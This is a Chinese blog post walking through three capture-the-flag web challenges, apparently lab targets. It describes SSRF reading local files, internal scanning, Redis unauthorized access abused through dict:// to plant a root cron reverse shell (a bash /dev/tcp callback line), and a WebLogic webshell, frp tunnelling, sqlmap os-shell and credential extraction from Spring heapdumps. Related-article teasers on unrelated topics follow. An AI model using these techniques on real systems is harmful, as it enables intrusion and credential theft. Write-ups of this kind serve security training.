CTF之web题集详情随手笔记


《Web安全》icon-default.png?t=O83Ahttp://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247484238&idx=1&sn=ca66551c31e37b8d726f151265fc9211&chksm=c0e47a12f793f3049fefde6e9ebe9ec4e2c7626b8594511bd314783719c216bd9929962a71e6&scene=21#wechat_redirect

1     WEB 1

图片

靶场目标:http://43.137.34.103/

图片

可以直观的看到一个爬虫类的网页。用我犀利的眼就能很明显感觉到可能存在SSRF漏洞,所以接下来我直接就看看能不能爬取百度或者当前的网页

直接就跳转了,这里思路直接就使用file命里查看文件。

图片

图片

等到passwd文件和hosts头,判断内网ip范围为172.19.240.0

flag文件在根目录下面

图片

flag1:meetsec1{6d5e5c2bb397ba7727b58df59b35f66a}

接下来是进行内网探测,看看存在其他服务不,可以直接使用ssrfmap工具

这里还是手工做,用bp的自定义迭代器扫描,写一个小脚本

图片

图片

题目提示是数据库服务,但我晚上做的时候两个小时也没有扫出来服务,最后常用端口扫

描,才发现存在一个redis,属于是被绕到了,忘了redis也是数据库

图片

内网探活,172.19.240.7:6379服务,这里应该是redis未授权

图片

图片

图片

得到了第二个flag:meetsec2{2b7cc5b73fe867cc83546583b858c8ab}

第三个flag存在于这台主机的根目录,所以这里就用计划任务上线

dict://172.19.240.7:6379/flushalldict://172.19.240.7:6379/config set dir /var/spool/cron/dict://172.19.240.7:6379/config set dbfilename rootdict://172.19.240.7:6379/set xshell "\n* * * * * /bin/bash -i >&/dev/tcp/x.x.x.x/5555 0>&1\n"dict://172.19.240.7:6379/save

图片

第三个flag:meetsec3{f22eec9fb7c498b3a747392ff53a746b}

2     WEB 2

图片

靶场目标43.137.34.103:7001

图片

这个界面,基本都是weblogic服务,直接就查看什么版本

图片

用专门的漏扫看看有没有存在历史漏洞

图片

图片

图片

第一个flag:meetsec1{3e942fd37767def3a9f68cf5ee6ebee5}

第二个flag在内网的第二台主机中,这里先上个哥斯拉

图片

图片

图片

直接上传一个fscan,扫一下内网服务

图片

图片

网段为172.16.10.0/24和172.25.20.0/24

图片

图片

图片

这里不知道是不是,我扫描器的问题,还是靶场的问题,我在备用目标中,才把3306扫出

来,第一个目标并没有扫出来。

这里的到目标是172.25.20.12:3306,通过frp,接入内网

图片

图片

接入到内网中,这里流量时全局,直接用kali,打一手爆破试试

图片

图片

不过在半个小时后,我感觉到了,这里似乎不是弱口令爆破,weblogic可以用jdbc做数据源

连接,可能是做的一个站库分离的操作

图片

在jdbc连接里面找到了数据库的账户和加密密文,从官网查看了解,可以使用官方的解密工

具得到明文,不过需要拿到,一个bat文件

图片

得到密码Meetsec#1024,账户root

用navicat直接连接

图片

得到第二个flag

第三个flag在主机根目录下,这里用sqlmap远程连接os-shell

图片

图片

meetsec3{2e947aef43be6dc428a9c626ba7fb824}

本来想今天把第四个flag拿了的,但是环境打不开了,一直卡住,接下来想从os-shell反弹

shell,在上传文件,扫描第三个内网段

明天看看还能不能打开吧。

3    WEB 3 4

图片

目标43.137.9.106:22883、43.137.9.106:13306

web3给的两个地址,第一个flag是信息泄露,第二个flag是存在数据库中

打开第一个网站界面

图片

看不出东西来,直接扫一下目录试试

图片

从地址看,基本上就是spring的框架,直接看看env变量的文件

图片

得到第一个信息泄露的flag:meetsec1{e20cdd96b8985a3557e5720726bb09a8}

不过也得到了,第二个flag的线索,jdbc连接,数据保留在heapdump里,账户是meetsec

所以下面就是看看这个heapdump怎么解密,

图片

图片

图片

得到密码为MeetSec@2nd!2022

直接用navicat连接

图片

得到第二个flag meetsec2{9edbd4b03b5f86a9abe079bc63ea847b}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/127.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

使用Nginx作为反向代理和负载均衡器

💓 博客主页:瑕疵的CSDN主页 📝 Gitee主页:瑕疵的gitee主页 ⏩ 文章专栏:《热点资讯》 使用Nginx作为反向代理和负载均衡器 引言 Nginx 简介 安装 Nginx Ubuntu CentOS 配置 Nginx 作为反向代理 配置 Nginx 作为负载…

【PTA】图的邻接矩阵存储和遍历

图的邻接矩阵存储用一个一维数组存储各顶点数据元素,一个二维数组存储顶点之间的邻接关系。 如上面的无向加权图,顶点数据元素为“A-Z”之间的单个字符,为了使遍历输出结果唯一,要求顶点数据元素按由小到大(ASCII码)的顺序存储。…

数据结构之树

1.树的基本概念 1.树的定义 树是由n(n>0)个结点(或元素)组成的有限集合(记为T)。 如果n0,它是一棵空树,这是树的特例。 如果n>0,这个结点中有且仅有一个结点作为树的根结点,简称为根。…

国内PLC市场份额报告,西门子老大的地位从未动摇

【导读】国内PLC市场占有率,西门子依然是老大。 PLC市场集中度很高,从销售额来看,TOP3厂家占据一半以上的市场份额,以外资品牌为主,其中西门子排名第一,2022年市场份额约47.1%;三菱排名第二&…

计算机毕业设计 | 基于SpringBoot的健身房管理系统(附源码)

1,项目背景 随着人们生活水平的提高和健康意识的增强,健身行业逐渐兴起并迅速发展。而现代化的健身房管理系统已经成为健身房发展的必备工具之一。传统的健身房管理方式已经无法满足现代化健身房的需求,需要一种更加高效、智能、安全的管理系…

ADI常规SHARC音频处理器性能对比

1、 ADSP-2156x:是基于SHARC+ DSP架构的单核32位/40位/64位浮点处理器,不仅具有灵活的音频连接性和性能可扩展性,还提供多个引脚兼容版本(400MHz至1GHz)和多种片内存储器选项,数据手册链接:https://www.analog.com/media/en/technical-documentation/data-sheets/adsp-2…

PG实践|条件处理表达式函数及其操作

文章目录 引言条件处理表达式1.1 GREATEST() 和 LEAST() - 最大值和最小值1.2 CASE() - 万一/具体情况为1.3 COALESCE - 处理NULL1.4 NULLIF - 处理NULL 总结 📫 作者简介:「六月暴雪飞梨花」,专注于研究Java,就职于科技型公司后端…

跨境行业的客户运营利器:构建在线培训知识库

在跨境行业中,客户运营是企业成功的关键。随着全球市场的不断扩大和数字化转型的深入,构建一个有效的在线培训知识库对于提升客户服务质量、优化客户体验至关重要。本文将探讨在线培训知识库的构建策略、应用价值,并分析其在跨境行业的实际应…

C语言另一种编码方式开发状态机(无switch)

目录 概述 一、开发环境 二、coding 三、运行结果 四、总结 概述 状态机编码思想,在很多领域都随处可见,传统的coding方式使用switch case来实现,状态跳转可读性差,咋们换一种思路来实现状态机开发,该方式 拓展好…

Android 面试Socket与WebSocket

Android 面试Socket与WebSocket 文章目录 Android 面试Socket与WebSocketSocket什么是SocketSocket通讯的过程TCP协议Socket代码示例UDP协议Socket代码示例Socket实现Android跨进程通信 WebSocket什么是websocket Socket 什么是Socket 网络上的两个程序通过以一个双向通讯的链…

python通过pyarmor库保护源代码

pyarmor 介绍 python是解释型语言,因此,代码不需要编译,而是通过明文提供的。在这种情况下,假如你发布了一个软件,那么,只能将源代码提供给使用者,这样就造成了源代码泄露。 使用pyinstaller…

使用传感器融合进行3D激光雷达点云运动补偿

此示例展示了如何通过融合来自全球定位系统 (GPS) 和惯性测量单元 (IMU) 传感器的数据来补偿由于自我车辆运动而导致的点云失真。此示例的目标是补偿点云数据中的失真并准确地重新创建周围环境。 文章目录 概述坐标系预处理激光雷达数据预处理 GPS 数据结合 GPS、IMU 和激光雷达…

微信小程序 - 获取汉字拼音首字母(汉字英文首字母)根据汉字查拼音,实现汉字拼音首字母获取,在小程序上实现汉字的拼音提取首字母!

前言 例如 “中国” 的首字母就是 “Z”,我们需要通过代码来自动判断从而得出结果。 本文介绍在小程序中,如何从 0-1 完成。 支持 Vue2 / Vue3 语法,您可以传入中文字,会自动返回其首字母,可控制大小写。 示例代码 具体代码如下,复制测试即可。

获取Hive表备注

DESCRIBE EXTENDED 表名;先获取Detailed Table Information这行的data_type字段数据,进行正则匹配,拿到表备注,如下: String str ReUtil.get("parameters:\\{(?!.*?\\().*transient_lastDdlTime.*?comment(.*?)\\}&quo…

2024年一带一路金砖技能大赛之大数据容器云开发

10.31备赛准备 C模块,大数据应用开发 1.前端Vue----请求服务端api接口json数据-----展示/图表 2.Node.js实现后端开发,为前端vue提供接口数据 3.部署在docker中 官方技能需求 创建vue框架项目 1、安装node.js(https://nodejs.org/zh-cn/d…

vue3中跨层传递provide、inject

前置说明 在 Vue 3 中,provide 和 inject 是一对用于跨组件树传递数据的 API。它们允许你在祖先组件中使用 provide 提供数据或服务,然后在后代组件中使用 inject 来获取这些数据或服务。这种方式特别适用于跨多个层级的组件传递数据,而不需要…

Conditional DETR论文笔记

原文链接 [2108.06152] Conditional DETR for Fast Training Convergencehttps://arxiv.org/abs/2108.06152 原文笔记 What 《Conditional DETR for Fast Training Convergence》 这个工作也是针对于DETR Query的工作 用于解决DETR训练收敛慢(Object query需要…

2025上海市公务员考试报名流程详细教程

2025年上海市公务员考试报名马上就要开始了,有想要参加上海公务员考试的姐妹们,可以提前了解一下考试报名流程,和报名照制作尺寸要求 报名时间:11月2日0:00至11月8日12:00 南核时间:11月2日0:00至11月8日14:00 缴费…

mysql事务

目录 一、什么是事务 二、事务的四大特点 1.原子性(A) 2.持久性(I) 3.隔离性(D) 4.一致性(C) 三、怎么使用事务 四、事务的并发问题 1.脏读问题(读未提交&#x…

信息学科平台系统构建:Spring Boot框架深度解析

4系统概要设计 4.1概述 本系统采用B/S结构(Browser/Server,浏览器/服务器结构)和基于Web服务两种模式,是一个适用于Internet环境下的模型结构。只要用户能连上Internet,便可以在任何时间、任何地点使用。系统工作原理图如图4-1所示: 图4-1系统工作原理…